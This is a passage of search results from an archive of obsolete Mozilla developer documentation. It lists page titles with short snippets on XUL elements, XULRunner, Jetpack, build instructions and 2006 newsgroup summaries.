8e-4d2a-b7eb-24ecf4f6b63a}"; var appinfo = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo); if(appinfo.id == firefox_id) { // running under firefox } else if(appinfo.id == thunderbird_id) { // running under thunderbird } else if(appinfo.id == seamonkey_id) { // running under seamonkey } else { // another app } see using nsixulappinfo for more details.
Supporting search suggestions in search plugins - Archive of obsolete content
your server should then decide upon the suggestions to offer using whatever means it sees fit, and return a json array of results: query string the first element in the array is the original query string.
Underscores in class and ID Names - Archive of obsolete content
recommendation because support is so inconsistent between current browsers as well as older releases, authors are strongly advised to avoid using underscores in class and id names.
Creating reusable content with CSS and XBL - Archive of obsolete content
note: xbl cannot be loaded over http, so this technique is only useful for local content accessed using the file:/// scheme, or from add-on code.
XML data - Archive of obsolete content
using css alone, the structure of the display must be the same as the structure of the document.
Case Sensitivity in class and id Names - Archive of obsolete content
it is also important to avoid using class or id names which are a case-insensitive match within the same document.
Creating a dynamic status bar extension - Archive of obsolete content
in this case, we're using yahoo's comma-separated values return to fetch easily-parsed stock quote data for google (ticker symbol goog).
Getting the page URL in NPAPI plugin - Archive of obsolete content
remember to release any references after using them.
Bypassing Security Restrictions and Signing Code - Archive of obsolete content
early versions of firefox allowed web sites to segregate principals using signed scripts, and request extra permissions for scopes within signed scripts using a function called enableprivelege.
cert_override.txt - Archive of obsolete content
domainname:port : port 443 for https (ssl) hash algorithm oid sha1-256: oid.2.16.840.1.101.3.4.2.1 (most used) sha-384: oid.2.16.840.1.101.3.4.2.2 sha-512: oid.2.16.840.1.101.3.4.2.3 certificate fingerprint using previous hash algorithm one or more characters for override type: m : allow mismatches in the hostname u : allow untrusted certs (whether it's self signed cert or a missing or invalid issuer cert) t : allow errors in the validity time, for example, for expired or not yet valid certs certificate's serial number and the issuer name as a base64 encoded string ...
No Proxy For configuration - Archive of obsolete content
testing contributors can test this feature, even without a proxy server, using a "negative proxy server test".
Automated testing tips and tricks - Archive of obsolete content
in test scripts, <code>sleep 5 after the above command should ensure the profile is created before the next command in the test script is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event from chrome use the domcontentloaded event chromewindow.addeventlistener('domcontentloade...
How Mozilla finds its configuration files - Archive of obsolete content
if you use the userd system from the lll project, you can generate this automatically with the user's personal values by using this template file prefs.js.tmpl n.b.
Chromeless - Archive of obsolete content
the aim is to enable developers to create full blown desktop applications using only web technologies.
Making a Mozilla installation modifiable - Archive of obsolete content
to make mozilla modifiable, we will first extract the ui files from the archives using an unzip utility, then edit mozilla's registry of ui files to use the extracted files instead of the original jar archives.
Getting Started - Archive of obsolete content
more after i get done with some tests repackaging jar now all you need to do is repackage a jar file with the following directory structure, using your favorite archive manager to create a zip archive: /chrome/my_theme.jar!/communicator/* /chrome/my_theme.jar!/editor/* /chrome/my_theme.jar!/global/* /chrome/my_theme.jar!/help/* /chrome/my_theme.jar!/messenger/* /chrome/my_theme.jar!/messenger-newsblog/* /chrome/my_theme.jar!/mozapps/* /chrome/my_theme.jar!/navigator/* /chrome.manifest /install.rdf /icon.png /preview.png make sure not to ...
Getting Started - Archive of obsolete content
if that happens, just come back to this step and change the number to whatever version of mozilla you are using.
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
repackaging jar now all you need to do is repackage a jar file with the following directory structure, using your favorite archive manager to create a zip archive: /browser/* /communicator/* /global/* /help/* /mozapps/* /contents.rdf /install.rdf /icon.png /preview.png make sure not to just zip up the my_theme parent directory since that will cause the drag and drop install in the next section to fail without error messages.
Dehydra Object Reference - Archive of obsolete content
.isexplicit boolean flag true for constructors declared using the c++ explicit keyword template objects property type description .name string the name of the template, for example "nscomptr".
Dehydra - Archive of obsolete content
documentation installing dehydra download, installation and dependency info for dehydra using dehydra examples for getting started writing analysis scripts.
Download Manager improvements in Firefox 3 - Archive of obsolete content
note: these changes will require some modest revisions to code using the download manager; several methods have had minor changes.
Drag and Drop JavaScript Wrapper - Archive of obsolete content
the observer is declared in a script which you would include in the xul file using the script tag.
Error Console - Archive of obsolete content
extensions can write to the error console from javascript using components.utils.reporterror, or if you're fine with logging to the os-provided console, dump().
Building Firefox with Rust code - Archive of obsolete content
this page is a rough guide for people using rust in firefox.
Downloading Nightly or Trunk Builds - Archive of obsolete content
if you need to download builds often, most builds can be downloaded semi-automatically and saved with a convenient name using mozdownload.
JSS build instructions for OSX 10.6 - Archive of obsolete content
howto successfully compile jss and nss for 32 and 64 bits on osx 10.6 (10.6.7) useful links: https://developer.mozilla.org/en/nss_reference/building_and_installing_nss/build_instructions https://developer.mozilla.org/jss_build_4.3.html ftp://ftp.mozilla.org/pub/mozilla.org/ <componente> /releases http://www.mozilla.org/projects/secu...using_jss.html steps: export all this: build_opt="1" cvsroot=":pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot" java_home=$(/usr/libexec/java_home") no_mdupdate="1" nsdistmode="copy" ns_use_gcc="1" create working dir: mkdir nss-jss cd nss-jss obtain source: altought manual said nspr_4_6_4_rtm, nss_3_11_4_rtm, jss_4_2_5_rtm, they didnt work for osx, giving many compiling errors.
CRMF Request object - Archive of obsolete content
avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision.
generateCRMFRequest() - Archive of obsolete content
avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision.
importUserCertificates - Archive of obsolete content
avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision.
popChallengeResponse - Archive of obsolete content
avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision.
Twitter - Archive of obsolete content
example: jetpack.lib.twitter.statuses.update({ data: { status: "o frabjous day!" }, username: "basic_auth_username", password: "basic_auth_password", success: function () console.log("hey!") }); user authentication you can supply a username and password to methods that require authentication using the second, more advanced call style described above.
Settings - Archive of obsolete content
the settings persist across browser sessions and are stored using the jetpack [simple storage api][].
Jetpack Snippets - Archive of obsolete content
using firebug lite in a slidebar jetpack.future.import("slidebar");jetpack.slidebar.append({ html: <html><head></head><body> <p>some slidbar you want to debug</p> <a href="javascript:console.log('hello!')">test</a> <script><![cdata[ //firebug lite bookmarklet code: var firebug=document.createelement('script'); firebug.setattribute('src','http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'); ...
Settings - Archive of obsolete content
the settings persist across browser sessions and are stored using the jetpack simple storage api.
Jetpack - Archive of obsolete content
jetpack jetpack is a project to make it easy to build firefox add-ons using common web technologies.
Microsummary XML grammar reference - Archive of obsolete content
per xslt, you may specify the stylesheet child element using either the <stylesheet> or the <transform> tag, which are interchangeable.
Microsummary topics - Archive of obsolete content
the value of the attribute must be a valid uri, but you can specify an arbitrary identifier using a urn, for example: urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16} to guarantee uniqueness, use urns containing uuids generated by the nsuuidgenerator component.
Plug-n-Hack - Archive of obsolete content
configuring a browser to work with a security tool can be a non-trivial process, and this can discourage people with less experience from using such tools.
BlogPosts - Archive of obsolete content
just browsing: mozilla prism update thanscorner: mozilla prism - webrunner with pazzaz mozilla prism - a revolution in web apps thanscorner: mozilla webrunner 0.7 site specific browsers webrunner using webrunner webrunner + gears = offline desktop reader webrunner 0.5 webrunner 0.5 - mac support webrunner 0.5 - linux install webrunner, google reader, and google notebook distraction free gtd - 32+ web app files for online todo lists mozilla webrunner: a one-window, tabless browser with no url bar webrunner becomes prism - a mozilla labs project mozilla labs: prism alex faaborg: prism mozilla prism: bringing web apps to the desktop everyone should use site specific browsers mozilla prism portable (spanish) prism, l'avenir des applications web selon mozilla (french) mozilla prism : bundle ...
Priority Content - Archive of obsolete content
started: using mozilla in testing and debugging web sites original: using mozilla in testing and debugging web sites wiki location: using mozilla in testing and debugging web sites migrators: serge k.
PyDOM - Archive of obsolete content
using python ideally, you just tell mozilla you are using python, and magically you can use python instead of javascript.
Remote debugging - Archive of obsolete content
examples: 391851 share your computer with remote desktop offer to let a developer control your computer using remote desktop software such as vnc or fog creek copilot.
Rsyncing the CVS Repository - Archive of obsolete content
note that for using this copy, the nolocks line in cvsroot/config will need to be commented out, as it requires a modified cvs binary.
Same origin policy for XBL - Archive of obsolete content
determining the originating principal the principal originating the load is determined using the following steps: for external stylesheets (<link>, <?xml-stylesheet?>, user sheets, and ua sheets), it depends on where the sheet is loaded from, just like it would for an html document loaded from a similar source.
Space Manager Detailed Design - Archive of obsolete content
this algorithm is pretty confusing - basically what needs to happen is that rects and bands need to be divided up so that complicated cases like#2, #4, and #7, are reduced to simpler cases where the rects is totally above,below, or between a band rect.
Space Manager High Level Design - Archive of obsolete content
e float frame that is get from the passed nsfloatcache argument is reflowed and its rect is retrieved with getrect; the floats margins are added; check if the float can be placed in the actual band: if not advance to the next band; check the float type and if it can be added to the space manager; align the float to its containing block top if rule css2/9.5.1/4 is not respected; add the float using nsspacemanager::addrectregion compare the area that the float used to occupy with the area that it now occupies: if different, record the vertically affected interval using nsspacemanager::includeindamage use case 3: space manager is used to find available space to reflow into the nsblockframe makes use of the space manager indirectly to get the available space to reflow a child block or inli...
open - Archive of obsolete content
examples example: using open in the following example, myfile is a file object: myfile.open("read", "text"); see also ...
String Quick Reference - Archive of obsolete content
function declarations what: use abstract classes instead of concrete classes when passing strings across function boundaries why: using abstract classes allows the caller to choose the storage mechanism, allowing for possible sharing or more efficient handling of string fragments.
Table Layout Regression Tests - Archive of obsolete content
it is good style to check for these unwanted regressions and fixing them before checkin rather than causing bugzilla avalanches.
Cmdline tests - Archive of obsolete content
the testsuite allows more flexibility by coding scripts in python allowing any executable to run, sending commands to stdin, and asserting output using regular expressions.
Tamarin mercurial commit hook - Archive of obsolete content
this allows you to reuse the commit message after fixing the issue by using the -l (--logfile) option: hg commit -l /reporoot/.hg/commit.save notes at the moment this is a local-only hook and is not enforced on the server.
Tamarin - Archive of obsolete content
tamarin commit hook instructions for installing and using the mercurial hook for tamarin.
The Download Manager schema - Archive of obsolete content
this information is available using nsidownloadmanager methods to retrieve nsidownload objects for each download entry; however, if you feel like poking directly into the table, you can do so using the storage api.
The life of an HTML HTTP request - Archive of obsolete content
if there are several frames created from a content node, then the first of these are called the "primary" node, and the following frames can be found by using the getnextinflow() method of nsiframe.
Treehydra - Archive of obsolete content
a dehydra script walks the gcc tree node structure using the gty attributes present in gcc.
URIs and URLs - Archive of obsolete content
the uri scheme defines the namespace of the uri, and thus may further restrict the syntax and semantics of identifiers using that scheme.
Video presentations - Archive of obsolete content
how pages are built using the dom this presentation describes how documents are loaded and the dom tree is constructed.
When To Use ifdefs - Archive of obsolete content
this variable marks any application that is using the "toolkit".
DOM Interfaces - Archive of obsolete content
the binding document can then be modified programmatically using the dom.
Install Wizards (aka: Stub Installers) - Archive of obsolete content
ll wizard widgets and dialogs the code that reads in the configuration file (config.ini) and dynamically installs from the net or from local xpi modules found next to the installer binary the code that processes user selections the code that calls the xpinstall engine through xpistub the libxpnet code that is statically linked in the stub installers are written in code native to the platform using native widget toolkits including the windows api for windows, the mac toolbox for the mac, and gtk for the unix version.
addDirectory - Archive of obsolete content
subdir the name of a directory to append to localdirspec, using '/' as the path separator regardless of the platform.if subdir is missing, null, or "", the filenames are appended directly to the folder name specified by localdirspec.
getFolder - Archive of obsolete content
you should be careful about using one of those directories, as it makes your installation platform-specific.
registerChrome - Archive of obsolete content
filespecobjects like that required by this function are created using the getfolder method on the install object.
getString - Archive of obsolete content
unlike that function, this method does not support using a null key to return a list of keys in a section.
writeString - Archive of obsolete content
unlike the writeprivateprofilestring function, this method does not support using a null key to delete an entire section.
enumValueNames - Archive of obsolete content
the following brief example retrieves a key value using this method.
XTech 2006 Presentations - Archive of obsolete content
converging rich-client and web application development with mozilla xulrunner (open office format) - benjamin smedberg this presentation demonstrates the convergence of rich-client and web application development and discuss application deployment using mozilla xulrunner.
align - Archive of obsolete content
you can also specify the value of align using the style property -moz-box-align.
autocompletesearch - Archive of obsolete content
the components are created using the name @mozilla.org/autocomplete/search;1?name= where name is listed in this attribute.
crop - Archive of obsolete content
ArchiveMozillaXULAttributecrop
none the text will be not be cropped using an ellipsis.
disabled - Archive of obsolete content
using it with an anchor tag (an <a> link) will have no effect.
dlgtype - Archive of obsolete content
using this attribute on a button that is not in a dialog box has no effect.
editor.type - Archive of obsolete content
the window for the primary content can be retrieved more conveniently using window.content.
helpURI - Archive of obsolete content
the uri will be opened using the help viewer when the help button is pressed.
homepage - Archive of obsolete content
you can switch to this home page using the gohome method.
icon - Archive of obsolete content
ArchiveMozillaXULAttributeicon
if you are using a button that matches one of these common usages, use the icon attribute to indicate this.
ordinal - Archive of obsolete content
you can retrieve the displayed order by using the properties of the boxobject of the container.
pack - Archive of obsolete content
ArchiveMozillaXULAttributepack
you can also specify the value of pack using the style property -moz-box-pack.
persist - Archive of obsolete content
persistence can also be stored using the document.persist function.
right - Archive of obsolete content
for example, using right="-80" causes the stack to be enlarged 80 pixels to the right and the element's right edge to be at the same location as the right edge of the stack.
textbox.type - Archive of obsolete content
you may specify grey text to appear when the search box is empty using the emptytext attribute, and a timeout may be set for the command event using the timeout attribute (defaults to 500).
toolbarbutton.type - Archive of obsolete content
you can also create a group of toolbarbuttons using this type and the attribute group.
value - Archive of obsolete content
for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
TOC - Archive of obsolete content
ArchiveMozillaXULFileGuideTOC
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
findbar - Archive of obsolete content
open( mode ) return type: no return value opens the findbar using the specified mode, which should be one of find_normal, find_typeahead, or find_links.
Menus - Archive of obsolete content
for more information about how to use an overlay to modify a menu, see using menus and popups in extensions the following tables list the ids of menus in firefox that are commonly overlaid upon.
How to Quit a XUL Application - Archive of obsolete content
script can attempt to quit a xul application, or force the application to quit, using the nsiappstartup interface.
open - Archive of obsolete content
ArchiveMozillaXULMethodOpen
« xul reference home open( mode ) return type: no return value opens the findbar using the specified mode, which should be one of find_normal, find_typeahead, or find_links.
appendNotification - Archive of obsolete content
keep in mind that this is all xul so using html elements for styling might still need additional css in order to work as you might expect.
getSelectedItem - Archive of obsolete content
« xul reference home getselecteditem( index ) return type: element when multiple items are selected, you can retrieve each selected item using this method.
goTo - Archive of obsolete content
ArchiveMozillaXULMethodgoTo
the onwizardback and onwizardnext code is not called when using this function.
reloadWithFlags - Archive of obsolete content
you may combine flags using a or symbol ( | ).
removeAllNotifications - Archive of obsolete content
if immediate is false, the notifications are removed using a slide transition.
showPopup - Archive of obsolete content
to have a popup appear relative to another element yet still offset by some number of pixels, determine the actual screen position of the element using the boxobject.screenx and boxobject.screeny properties of the element, and use those as the x and y arguments offset by the desired values.
MenuButtons - Archive of obsolete content
when using the keyboard, pressing the down key will open the menu while the button is focused.
MenuModification - Archive of obsolete content
a new element is created using the createelement method.
Special per-platform menu considerations - Archive of obsolete content
for example, using document.getelementbyid() for the quit menu item returns the hidden item that still sits in the file menu.
boxObject - Archive of obsolete content
prior to gecko 1.9.1, you can retrieve the boxobject for non-xul elements using the document.getboxobjectfor method; the method was removed in gecko 1.9.1 because it was non-standard.
controllers - Archive of obsolete content
the document's command dispatcher will locate controllers to handle a command by using the focused element's list.
tag - Archive of obsolete content
ArchiveMozillaXULPropertytag
for example, by using a value of treechildren, the condition will only match when placing elements directly inside a treechildren tag.
value - Archive of obsolete content
ArchiveMozillaXULPropertyvalue
for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
Notes - Archive of obsolete content
deleting the "(default)" values in the following registry keys will fix this: hkey_classes_root\http\shell\open\ddeexec hkey_classes_root\https\shell\open\ddeexec you can also do this from within your xpcom component using windows registry interface.
Providing Command-Line Options - Archive of obsolete content
using the example to use this sample code, save the commandline.js file into the components directory and add the following lines to your chrome.manifest file: component {2991c315-b871-42cd-b33f-bfee4fcbf682} components/commandline.js contract @mozilla.org/commandlinehandler/general-startup;1?type=myapp {2991c315-b871-42cd-b33f-bfee4fcbf682} category command-line-handler m-myapp @mozilla.org/commandl...
listcell-iconic - Archive of obsolete content
specify the image using the image attribute.
listitem-iconic - Archive of obsolete content
specify the image using the image attribute.
menu-iconic - Archive of obsolete content
specify the image using the image attribute.
menuitem-iconic - Archive of obsolete content
specify the image using the image attribute.
statusbarpanel-iconic - Archive of obsolete content
specify the image using the src attribute.
statusbarpanel-menu-iconic - Archive of obsolete content
specify the image using the src attribute, and place a menupopup element inside the statusbarpanel.
treecol-image - Archive of obsolete content
specify the image using the src attribute.
Attribute Substitution - Archive of obsolete content
however, variables determined from a binding are evaluated using a much simpler process.
Namespaces - Archive of obsolete content
for example using the following xml document containing a list of people: <people xmlns="www.example.com/people"> <person name="napoleon bonaparte" gender="male"/> <person name="cleopatra" gender="female"/> <person name="julius caesar" gender="male"/> <person name="ferdinand magellan" gender="male"/> <person name="laura secord" gender="female"/> </people> <listbox datasources="people.xml" ref="*" querytype="xml"> <template xmlns:ns="www.example.com/people"> <query expr="ns:person"/> <action> <listitem uri="?" label="?ns:name"/> </action> </template> </listbox> once added to the template element the namespaces can then be referenced inside temple r...
Template Guide - Archive of obsolete content
on rule compilation rdf template syntax result generation rdf query syntax actions recursive generation simple example bindings additional navigation filtering static content simple query syntax containment properties xml template syntax xml templates xml assignments sql template syntax sqlite templates common template syntax attribute substitution multiple rules using recursive templates building menus with templates special condition tests multiple queries using multiple queries to generate more results building trees with templates building trees building hierarchical trees template modifications template builder interface template and tree listeners rdf modifications additional topics sorting results additional template attributes te...
Toolbars - Archive of obsolete content
toolbars, implemented using the xul toolbar element, are containers for toolbar buttons and other user interface objects.
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
for example, a custom checkbox might have a checked property which needs to be changed when the user clicks the checkbox: <handlers> <handler event="mouseup" action="this.checked=!this.checked"/> </handlers> when the user clicks and releases the mouse button over the check box, the mouseup event is sent to it, and the handler defined here is called, causing the state of the checked property to be reversed.
Adding Labels and Images - Archive of obsolete content
</description> you can set the text via script using the textcontent property, as in the following example: <description id="text" width="200"/> document.getelementbyid('text').textcontent = "some lengthy word wrapped text goes here."; internally, both the label element and the description elements are the same.
Creating an Installer - Archive of obsolete content
because the xpi file is just a special zip file, you can create it and add files to it using a zip utility.
Element Positioning - Archive of obsolete content
you can set this by using four attributes: minwidth; this specifies the minimum width that the element can be.
Grids - Archive of obsolete content
ArchiveMozillaXULTutorialGrids
xul tabular layout xul has a set of elements for doing layout of elements in a grid-like manner using the grid element.
Introduction to RDF - Archive of obsolete content
the way to solve this is by using rdf datasources.
Introduction to XBL - Archive of obsolete content
this declares that we are using xbl syntax.
More Menu Features - Archive of obsolete content
« previousnext » in this section, we'll look at creating submenus and checked menus creating submenus you can create submenus inside other menus (nested menus) using the existing elements.
More Wizards - Archive of obsolete content
wizard functions the wizard works much like a tabbed panel, except that the tabs are not displayed and the user navigates between pages by using the buttons along the bottom.
Progress Meters - Archive of obsolete content
source view in the next section, we will learn how to add additional elements to the window using html.
Scroll Bars - Archive of obsolete content
in xul, one can be created using the scrollbar tag.
Scrolling Menus - Archive of obsolete content
it is implemented using an arrowscrollbox element.
Skinning XUL Files by Hand - Archive of obsolete content
but the advantages of using xul so far outweigh those of using the standard c++ toolkits that xul authoring should rightfully be considered in a separate category of development.
Splitters - Archive of obsolete content
splitter element this feature is accomplished using an element called a splitter.
Tree View Details - Archive of obsolete content
here, we will examine how to create a hierarchical set of items using the view.
XBL Example - Archive of obsolete content
conveniently, we can change the page using the custom 'page' property that was just added: <xul:button xbl:inherits="label=previoustext" oncommand="parentnode.parentnode.parentnode.page--;"/> <xul:description flex="1"/> <xul:button xbl:inherits="label=nexttext" oncommand="parentnode.parentnode.parentnode.page++;"/> because the 'page' property is only on the outer xul element, we need to to use the parentno...
Window icons - Archive of obsolete content
you can specify up to 4 different sizes of png icons using the suffixes .png, 16.png, 32.png and 48.png.
XULBrowserWindow - Archive of obsolete content
you can augment the functionality of this method using chaining in order to hide chrome for other locations.
XUL Template Primer - Bindings - Archive of obsolete content
the value of the object's variable will be computed by invoking the gettarget() method using the object's value as the asource argument, and the predicate's resource as the aproperty argument.
XUL accessibility tool - Archive of obsolete content
ideas for further work on xul a11y some general ideas for using the tool and guidelines to further the accessibility cause within the mozilla project.
XUL Coding Style Guidelines - Archive of obsolete content
most of the windows and dialogs in mozilla will be described using xul.
arrowscrollbox - Archive of obsolete content
using it with an anchor tag (an <a> link) will have no effect.
attribute.align - Archive of obsolete content
you can also specify the value of align using the style property -moz-box-align.
bbox - Archive of obsolete content
ArchiveMozillaXULbbox
it is equivalent to using an hbox element with an align attribute set to baseline.
colorpicker - Archive of obsolete content
using it with an anchor tag (an <a> link) will have no effect.
content - Archive of obsolete content
for example, by using a value of treechildren, the condition will only match when placing elements directly inside a treechildren tag.
dialogheader - Archive of obsolete content
none the text will be not be cropped using an ellipsis.
image - Archive of obsolete content
ArchiveMozillaXULimage
note: prior to gecko 8.0, images did not shrink down with the same ratio in both directions when specifying maximum sizes using maxheight or maxwidth.
keyset - Archive of obsolete content
using it with an anchor tag (an <a> link) will have no effect.
listhead - Archive of obsolete content
using it with an anchor tag (an <a> link) will have no effect.
listheader - Archive of obsolete content
using it with an anchor tag (an <a> link) will have no effect.
progressmeter - Archive of obsolete content
for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
promptBox - Archive of obsolete content
see using tab-modal prompts for details.
resizer - Archive of obsolete content
note: starting in gecko 2.0, you can also specify a target element using the element attribute, to use the resizer to resize the specified element instead of the window.
scrollbox - Archive of obsolete content
note: avoid nested scroll boxes; it's maddening for the experienced user and confusing for the less experienced user.
spacer - Archive of obsolete content
if you want a small gap, consider using a separator instead.
splitter - Archive of obsolete content
for: <vbox/> <splitter/> <vbox height="500" style="min-height: 50"> <vbox height="100"/> </vbox> ...the splitter can be dragged down below the 100px intrinsic height of the lower box, causing the child box to overflow, until reaching the min-height, at which point it will stop or collapse.
statusbar - Archive of obsolete content
i suggest using the add-on bar instead.
tabbrowser - Archive of obsolete content
you may combine flags using a or symbol ( | ).
toolbarpalette - Archive of obsolete content
you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette.
window - Archive of obsolete content
attributes accelerated, chromemargin, disablechrome, disablefastfind, drawintitlebar, fullscreenbutton, height, hidechrome, id, lightweightthemes, lightweightthemesfooter, screenx, screeny, sizemode, title, width, windowtype examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!-- run this example using copy & paste in this live xul editor: https://github.com/km-200/xul --> <!-- extremely recommended to keep this css include!!
wizard - Archive of obsolete content
each page should be constructed using a wizardpage.
Debugging a XULRunner Application - Archive of obsolete content
note: if you are not using the stub executable to launch the application, the -jsconsole argument is after the application.ini argument: e.g.
Deploying XULRunner - Archive of obsolete content
this should be fixed with xulrunner 11.0 with xulrunner 11.0 you may need to copy "gkmedias.dll" from the xulrunner directory to the root directory mac os x on mac os x, the exact layout of your application bundle depends on which version of xulrunner you're using.
Opening a Link in the Default Browser - Archive of obsolete content
this can be done using the nsiexternalprotocolservice interface: // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); // now, open it!
Windows and menus in XULRunner - Archive of obsolete content
« previousnext » our quest to build a basic desktop application using xulrunner continues.
XUL Application Packaging - Archive of obsolete content
example: enableprofilemigrator=1 the [crash reporting] section using crash reporting in a xulrunner application ...
XULRunner - Archive of obsolete content
firefox (from version 3) ships with a private xulrunner package, which can run any compatible xulrunner application using the -app switch: firefox -app application.ini is equivalent to xulrunner -app application.ini older builds are also available.
XUL Explorer - Archive of obsolete content
support attribute value checking where appropriate (boolean and enumerated values) - xul checker support “best practice” checks such as: using of commands and keys, strings in dtds and so on - xul checker multi-tabbed editor support support wizards to generate common projects - extensions support extension testing using firefox extension test mode venkman support dom inspector support future: support more “best practice” checks such as: more a11y checks, strings in dtds and so on - xul checker allow users to add snippets ...
Mozprofile - Archive of obsolete content
example: from mozprofile import firefoxprofile # create new profile to pass to mozmill/mozrunner profile = firefoxprofile(addons=["adblock.xpi"]) setting preferences preferences can be set in several ways: using the api: you can pass preferences in to the profile class's constructor: obj = firefoxprofile(preferences=[("accessibility.typeaheadfind.flashbar", 0)]) using a json blob file: mozprofile --preferences myprefs.json using a .ini file: mozprofile --preferences myprefs.ini via the command line: mozprofile --pref key:value --pref key:value [...] when setting preferences from an .ini file or the -...
Mozilla.dev.apps.firefox-2006-10-06 - Archive of obsolete content
discussions firefox trunk and rc1 slowdown using tabs discussion regarding certain theme components (specifically alpha-transparency) creating a high cpu load on os/2.
2006-10-06 - Archive of obsolete content
this set of documents tackles some of the difficulties that ajax has been causing with regards to accessibility.
2006-11-10 - Archive of obsolete content
this is reported to have broken accesskeys using numeric values.
2006-10-06 - Archive of obsolete content
discussions firefox trunk and rc1 slowdown using tabs discussion regarding certain theme components (specifically alpha-transparency) creating a high cpu load on os/2.
2006-10-13 - Archive of obsolete content
firefox 2.0 should re-implement modal window.open to support web 2.0 user would like the option to show pop-up windows, using window.open(), from inside untrusted script, to be re-implemented.
2006-11-03 - Archive of obsolete content
firing pageshow/pagehide when users change tabs discussion about using events that could be fired when the user changes a tab.
2006-11-04 - Archive of obsolete content
pageshow/pagehide when users change tabs discussion about using events that could be fired when the user changes a tab.
2006-11-17 - Archive of obsolete content
two questions: (1) launching a separate intance of firefox.exe, and (2) programmatically closing a window user has two questions about using adobe flex builder debugger in firefox 2.0.
2006-12-01 - Archive of obsolete content
discussions firefox 2.0 should re-implement modal window.open to support web 2.0 a plea to re-implement the option to show modal windows, using window.open(), from inside an untrusted script.
2006-10-06 - Archive of obsolete content
discussions is thunderbird using a valid w3c coding?
2006-11-10 - Archive of obsolete content
guenter has provided some sample code using the 'mailto:' method.
2006-11-17 - Archive of obsolete content
what file format is tb's address book using?
2006-10-20 - Archive of obsolete content
marcus claims that when he builds firefox using centos he encounters crashes (segmentation faults) under linux distributions such as gentoo, suse and fedora.
2006-10-13 - Archive of obsolete content
do early testing using code from this link.
2006-10-27 - Archive of obsolete content
update check failing in firefox 2.0 if add-on type is 8 testing a custom update.rdf file for a langpack using the official version of firefox 2.0 rc 3.
2006-09-29 - Archive of obsolete content
instead of using /path/to/xulrunner-bin.ini (which will was doing) applications on a mac must be in an application bundle (foo.app).
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.platform - november 11th - november 17th, 2006 announcements no announcements this week traffic xulrunner: <browser> not allowing javascript popup windows b notes that when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box and asks what needs to be implement.
2006-18-24 - Archive of obsolete content
summary: mozilla.dev.platform - november 18th - november 24th, 2006 announcements no announcements this week traffic xulrunner: <browser> not allowing javascript popup windows b notes that when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box and asks what needs to be implement.
2006-10-06 - Archive of obsolete content
discussions none for this week meetings community test day - on friday october 6th, 2006 in irc chat room #testday there will be a test day focusing on safe browsing between 7am to 5pm pdt.
2006-11-03 - Archive of obsolete content
discussions none meetings community test day - on friday, november 3, 2006 another community test day focusing on security and stability release, and you can help by verifying bugs, and by running the litmus test cases under the ffts or the bfts.
2006-11-17 - Archive of obsolete content
recycle array objects a user trying to overcome the need of using huge number of arrays (as vectors) asks if its possible to reuse unreferenced array objects instead of create new ones in spidermonkey.
2006-11-24 - Archive of obsolete content
frank hecker writes: the possibility of having a gpl-only mozilla code would cause problems such as people who want to distribute mozilla based products with: non-gpl compatible extensions free proprietary extensions such as flash player using trademarks such as logos ...
JS-Engine FAQ - Archive of obsolete content
domparser is not part of js but part of mozilla browser which makes it available to script in the browser using xpconnect.
2006-10-27 - Archive of obsolete content
help for getting html element width info discussion on retrieving width information on html elements when using the gecko engine.
2006-11-24 - Archive of obsolete content
see bigid 360789 new linebreaker interface new linebreaker current interface is unworkable when it comes to using thai and uax#14.
2006-12-24 - Archive of obsolete content
discussions [reset issue for overflow='hidden' in ie and opera there is a very modest horizontal shift of the document due to reflow associated with the removal of the vertical scroll bar (because the document content is using a horizontal centering style).
2006-12- 02 - Archive of obsolete content
discussions [reset issue for overflow='hidden' in ie and opera there is a very modest horizontal shift of the document due to reflow associated with the removal of the vertical scroll bar (because the document content is using a horizontal centering style).
2006-09-06 - Archive of obsolete content
how to build xpcom component on mac os x a tutorial on how to build xpcom component on mac os x firefox crashes when calling a function provided by a .so library a solution to the problem loading a shared library when using xpcom firefoxes crashes while getting url in xpcom solutions to resolve the problem of the firefox crash when trying to get the path and the prepath of the url of the current page in xpcom meetings none during this week.
2006-10-13 - Archive of obsolete content
discussions wxmozilla and ff1.5 xpcom problems updating wxmozilla to use it with firefox 1.5.7 browser elements, opening links in a new window using javascript to open window in new window.
2006-11-24 - Archive of obsolete content
discussions tutorials: non c++ bindings for xpcom tutorials on how to interface with firefox using xpcom on a similar basis to how a developer can with internet explorer through it's com interface tutorals and references related to extension development tutorials on developing extensions which use the third party libraries for firefox references to mozilla api exposed javascript component + xmldocument not accessible a discussion on error: uncaught exception: permission denied to get property xmldocument.textcontent creating xpcom components a good discussion about "components.classes[cid] has no properties" error firefox http explanation about how firefox handles the http a...
2006-12-01 - Archive of obsolete content
a tip on how to debug firefox extensions using a debugger.
